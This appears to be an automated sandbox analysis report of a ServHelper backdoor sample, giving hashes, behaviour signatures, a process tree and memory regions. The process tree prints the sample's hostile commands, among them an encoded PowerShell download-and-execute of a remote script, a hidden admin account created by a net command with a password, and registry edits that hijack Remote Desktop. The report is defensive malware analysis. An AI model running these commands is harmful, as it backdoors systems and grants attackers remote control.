Analysis

  • max time kernel
    135s
  • max time network
    114s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    26-05-2021 18:05

General

  • Target

    b1c13501a44f3017537f296fc3cd4919.exe

  • Size

    6.0MB

  • MD5

    b1c13501a44f3017537f296fc3cd4919

  • SHA1

    10b0f90e3d298a6b1ca3dc8afec91683203a7161

  • SHA256

    80271a13696df77f092c3b6abce154f98e83f5840c64b610af7ae83cfe711482

  • SHA512

    abbce9675cd8921705e463c5eb702a6832736ba5a95705da79658ff4be2d39dfc1223a727d2bac23a67fbaae85a7e658e97e7332370caf17a6af700b4090c3ec

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 21 IoCs
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious behavior: LoadsDriver 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 18 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\b1c13501a44f3017537f296fc3cd4919.exe
    "C:\Users\Admin\AppData\Local\Temp\b1c13501a44f3017537f296fc3cd4919.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1624
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1764
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:820
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1112
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:924
      • C:\Windows\system32\takeown.exe
        "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:1460
      • C:\Windows\system32\icacls.exe
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:1332
      • C:\Windows\system32\icacls.exe
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        • Suspicious use of AdjustPrivilegeToken
        PID:1768
      • C:\Windows\system32\icacls.exe
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:336
      • C:\Windows\system32\icacls.exe
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:1012
      • C:\Windows\system32\icacls.exe
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:1696
      • C:\Windows\system32\icacls.exe
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:1692
      • C:\Windows\system32\icacls.exe
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:1128
      • C:\Windows\system32\reg.exe
        "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
        3⤵
          PID:588
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
          3⤵
          • Modifies registry key
          PID:2004
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
          3⤵
            PID:2036
          • C:\Windows\system32\net.exe
            "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:1112
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              4⤵
                PID:1664
            • C:\Windows\system32\cmd.exe
              "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1816
              • C:\Windows\system32\cmd.exe
                cmd /c net start rdpdr
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:1324
                • C:\Windows\system32\net.exe
                  net start rdpdr
                  5⤵
                  • Suspicious use of WriteProcessMemory
                  PID:976
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 start rdpdr
                    6⤵
                      PID:880
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                3⤵
                  PID:2020
                  • C:\Windows\system32\cmd.exe
                    cmd /c net start TermService
                    4⤵
                      PID:1932
                      • C:\Windows\system32\net.exe
                        net start TermService
                        5⤵
                          PID:900
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 start TermService
                            6⤵
                              PID:2040
                      • C:\Windows\system32\cmd.exe
                        "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                        3⤵
                          PID:1388
                        • C:\Windows\system32\cmd.exe
                          "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                          3⤵
                            PID:1692
                      • C:\Windows\System32\cmd.exe
                        cmd /C net.exe user wgautilacc Ghar4f5 /del
                        1⤵
                          PID:572
                          • C:\Windows\system32\net.exe
                            net.exe user wgautilacc Ghar4f5 /del
                            2⤵
                              PID:1768
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
                                3⤵
                                  PID:1160
                            • C:\Windows\System32\cmd.exe
                              cmd /C net.exe user wgautilacc NRdZ5mk3 /add
                              1⤵
                                PID:548
                                • C:\Windows\system32\net.exe
                                  net.exe user wgautilacc NRdZ5mk3 /add
                                  2⤵
                                    PID:1696
                                    • C:\Windows\system32\net1.exe
                                      C:\Windows\system32\net1 user wgautilacc NRdZ5mk3 /add
                                      3⤵
                                        PID:848
                                  • C:\Windows\System32\cmd.exe
                                    cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                                    1⤵
                                      PID:340
                                      • C:\Windows\system32\net.exe
                                        net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                                        2⤵
                                          PID:2036
                                          • C:\Windows\system32\net1.exe
                                            C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                                            3⤵
                                              PID:792
                                        • C:\Windows\System32\cmd.exe
                                          cmd /C net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
                                          1⤵
                                            PID:1428
                                            • C:\Windows\system32\net.exe
                                              net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
                                              2⤵
                                                PID:1324
                                                • C:\Windows\system32\net1.exe
                                                  C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
                                                  3⤵
                                                    PID:1432
                                              • C:\Windows\System32\cmd.exe
                                                cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                                                1⤵
                                                  PID:268
                                                  • C:\Windows\system32\net.exe
                                                    net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                                                    2⤵
                                                      PID:760
                                                      • C:\Windows\system32\net1.exe
                                                        C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
                                                        3⤵
                                                          PID:968
                                                    • C:\Windows\System32\cmd.exe
                                                      cmd /C net.exe user wgautilacc NRdZ5mk3
                                                      1⤵
                                                        PID:1080
                                                        • C:\Windows\system32\net.exe
                                                          net.exe user wgautilacc NRdZ5mk3
                                                          2⤵
                                                            PID:1696
                                                            • C:\Windows\system32\net1.exe
                                                              C:\Windows\system32\net1 user wgautilacc NRdZ5mk3
                                                              3⤵
                                                                PID:548
                                                          • C:\Windows\System32\cmd.exe
                                                            cmd.exe /C wmic path win32_VideoController get name
                                                            1⤵
                                                              PID:1892
                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                wmic path win32_VideoController get name
                                                                2⤵
                                                                • Modifies data under HKEY_USERS
                                                                • Suspicious use of AdjustPrivilegeToken
                                                                PID:340
                                                            • C:\Windows\System32\cmd.exe
                                                              cmd.exe /C wmic CPU get NAME
                                                              1⤵
                                                                PID:1152
                                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                                  wmic CPU get NAME
                                                                  2⤵
                                                                  • Modifies data under HKEY_USERS
                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                  PID:1512
                                                              • C:\Windows\System32\cmd.exe
                                                                cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                1⤵
                                                                  PID:1876
                                                                  • C:\Windows\system32\cmd.exe
                                                                    cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                    2⤵
                                                                      PID:1456
                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                        powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                        3⤵
                                                                        • Drops file in Windows directory
                                                                        • Modifies data under HKEY_USERS
                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                        PID:848

                                                                  Network

                                                                  MITRE ATT&CK Enterprise v6

                                                                  Replay Monitor

                                                                  Loading Replay Monitor...

                                                                  Downloads

                                                                  • memory/820-90-0x000000001B880000-0x000000001B881000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/820-86-0x000000001ACF0000-0x000000001ACF2000-memory.dmp

                                                                    Filesize

                                                                    8KB

                                                                  • memory/820-93-0x0000000002510000-0x0000000002511000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/820-111-0x000000001AC60000-0x000000001AC61000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/820-112-0x000000001B7B0000-0x000000001B7B1000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/820-98-0x000000001B6F0000-0x000000001B6F1000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/820-92-0x000000001AC70000-0x000000001AC71000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/820-87-0x000000001ACF4000-0x000000001ACF6000-memory.dmp

                                                                    Filesize

                                                                    8KB

                                                                  • memory/820-88-0x00000000025F0000-0x00000000025F1000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/848-198-0x0000000000F54000-0x0000000000F56000-memory.dmp

                                                                    Filesize

                                                                    8KB

                                                                  • memory/848-197-0x0000000000F50000-0x0000000000F52000-memory.dmp

                                                                    Filesize

                                                                    8KB

                                                                  • memory/848-201-0x0000000000F5A000-0x0000000000F79000-memory.dmp

                                                                    Filesize

                                                                    124KB

                                                                  • memory/924-141-0x000000001AD34000-0x000000001AD36000-memory.dmp

                                                                    Filesize

                                                                    8KB

                                                                  • memory/924-140-0x000000001AD30000-0x000000001AD32000-memory.dmp

                                                                    Filesize

                                                                    8KB

                                                                  • memory/1112-126-0x0000000002330000-0x0000000002331000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/1112-121-0x0000000002510000-0x0000000002511000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/1112-119-0x0000000002744000-0x0000000002746000-memory.dmp

                                                                    Filesize

                                                                    8KB

                                                                  • memory/1112-123-0x000000001B810000-0x000000001B811000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/1112-118-0x0000000002740000-0x0000000002742000-memory.dmp

                                                                    Filesize

                                                                    8KB

                                                                  • memory/1112-125-0x000000001B0C0000-0x000000001B0C1000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/1624-62-0x0000000028574000-0x0000000028576000-memory.dmp

                                                                    Filesize

                                                                    8KB

                                                                  • memory/1624-61-0x0000000028572000-0x0000000028574000-memory.dmp

                                                                    Filesize

                                                                    8KB

                                                                  • memory/1624-64-0x0000000028577000-0x0000000028578000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/1624-63-0x0000000028576000-0x0000000028577000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/1624-59-0x0000000041490000-0x00000000418B1000-memory.dmp

                                                                    Filesize

                                                                    4.1MB

                                                                  • memory/1764-79-0x00000000025E0000-0x00000000025E1000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/1764-72-0x0000000002380000-0x0000000002381000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/1764-69-0x000000001AC20000-0x000000001AC22000-memory.dmp

                                                                    Filesize

                                                                    8KB

                                                                  • memory/1764-68-0x000000001ACA0000-0x000000001ACA1000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/1764-67-0x0000000002420000-0x0000000002421000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/1764-78-0x000000001AC2A000-0x000000001AC49000-memory.dmp

                                                                    Filesize

                                                                    124KB

                                                                  • memory/1764-70-0x000000001AC24000-0x000000001AC26000-memory.dmp

                                                                    Filesize

                                                                    8KB

                                                                  • memory/1764-66-0x000007FEFC031000-0x000007FEFC033000-memory.dmp

                                                                    Filesize

                                                                    8KB

                                                                  • memory/1764-71-0x0000000002500000-0x0000000002501000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/1764-77-0x000000001B8A0000-0x000000001B8A1000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/1764-148-0x000000001C810000-0x000000001C811000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/1764-76-0x000000001AAB0000-0x000000001AAB1000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/1764-74-0x000000001B7D0000-0x000000001B7D1000-memory.dmp

                                                                    Filesize

                                                                    4KB